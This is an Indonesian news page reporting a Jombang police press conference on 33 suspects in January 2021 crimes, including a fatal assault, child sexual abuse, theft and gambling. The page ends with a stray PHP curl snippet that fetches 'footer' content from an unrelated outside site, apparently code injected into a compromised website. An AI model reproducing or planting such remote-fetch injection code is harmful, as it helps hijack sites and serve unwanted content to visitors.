Polres Jombang Bekuk 33 Tersangka Kasus Penganiayaan Dan Pembunuhan

Kamis, 28 Januari 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.info | Jombang -Jatim

Polres Jombang gelar konferensi pers untuk ungkap kasus penganiyaan dan pembunuhan serta beberapa kasus pencurian serta perjudian dan tindak kejahatan lainnya ungkap kasus tersebut dilaksanakan pada Kamis 28/01/2021 di halaman Mapolres Jombang Jawa timur

Pres rilis tersebut dipimpin langsung oleh Kapolres jombang AKBP Agung Setyo Nugroho menurut beliau bahwa ini merupakan ungkap beberapa kasus mulai kasus penganiayaan hingga menyebabkan orang meninggal satu kasus, persetubuhan anak di bawah umur ada dua kasus, melarikan wanita di bawah umur sebanyak satu kasus, pencurian ada delapan kasus, tindak pidana judi ada empat kasus dan penganiayaan berat lima kasus.

Baca Juga:  Puskesmas, Dinkes Dan Dinsos Adakan Pengobatan Orang Sakit Jiwa

Dan ada pula tindak penipuan atau penggelapan ada dua kasus, Ilegal logging satu kasus dan senjata tajam satu kasus. “Total terdapat 25 kasus, selama Januari 2021, untuk itu ada 33 tersangka yang berhasil diamankan perihal rincian adalah, 32 tersangka laki-laki dan 1 orang perempuan.

Baca Juga:  Pemdes Suro Baru Mengalokasi BLT-DD 29 KPM ke Masyarakat, Berjalan dengan Lancar

Polres Jombang sudah mengamankan barang bukti berupa uang,sepeda motor handphone, pakaian,kayu gelondongan untuk kasus yang terberat adalah yang menyebabkan orang meninggal untuk itu tersangka akan terjerat Pasal 351 ayat 3 KUHP ancaman hukuman 15 tahun penjara terang kapolres jombang AKBP Agung Setyo Nugroho ( Aan jk)

Baca Juga:  Diduga Kepala Pekon Dan Bendahara Pasar Waringinsari Timur Selewengkan Anggaran Pasar
Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

BAWASLU ajak Awak Media di Tanjabbar,  Wujudkan Pilkada Damai
Pjs Bupati Silaturahmi bersama Toga, Tomas dan Insan Pers
Wazaki Bantah Bawaslu Lamsel Bolehkan Bagi Sembako di Masa Kampanye
Deklarasi Kampanye Pasangan Nomor Urut 2 di Pringsewu
Syahriandany SH Kepala Balai KIR Kota Pangkalpinang, Menjabat Ketua IPKBI Babel: Tidak Ada Tebang Pilih, Semua Sesuai Aturan Permenhub No 19 Tahun 2021
KPU Tanjab Barat lakukan Pengundian Nomor Urut Paslon Bupati dan Wakil Bupati 
Hermansyah Sekda Tanjab Barat hadiri Pelantikan Penjabat Bupati Merangin dan Sarolangun secara Virtual
Anwar Sadat Respon Cepat usulan Masyarakat, Kerusakan Jembatan di Wilayah Tanjab Barat

Berita Terkait

Selasa, 8 Oktober 2024 - 14:59 WIB

BAWASLU ajak Awak Media di Tanjabbar,  Wujudkan Pilkada Damai

Minggu, 6 Oktober 2024 - 16:59 WIB

Pjs Bupati Silaturahmi bersama Toga, Tomas dan Insan Pers

Rabu, 2 Oktober 2024 - 05:10 WIB

Wazaki Bantah Bawaslu Lamsel Bolehkan Bagi Sembako di Masa Kampanye

Sabtu, 28 September 2024 - 15:09 WIB

Deklarasi Kampanye Pasangan Nomor Urut 2 di Pringsewu

Kamis, 26 September 2024 - 08:51 WIB

Syahriandany SH Kepala Balai KIR Kota Pangkalpinang, Menjabat Ketua IPKBI Babel: Tidak Ada Tebang Pilih, Semua Sesuai Aturan Permenhub No 19 Tahun 2021

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>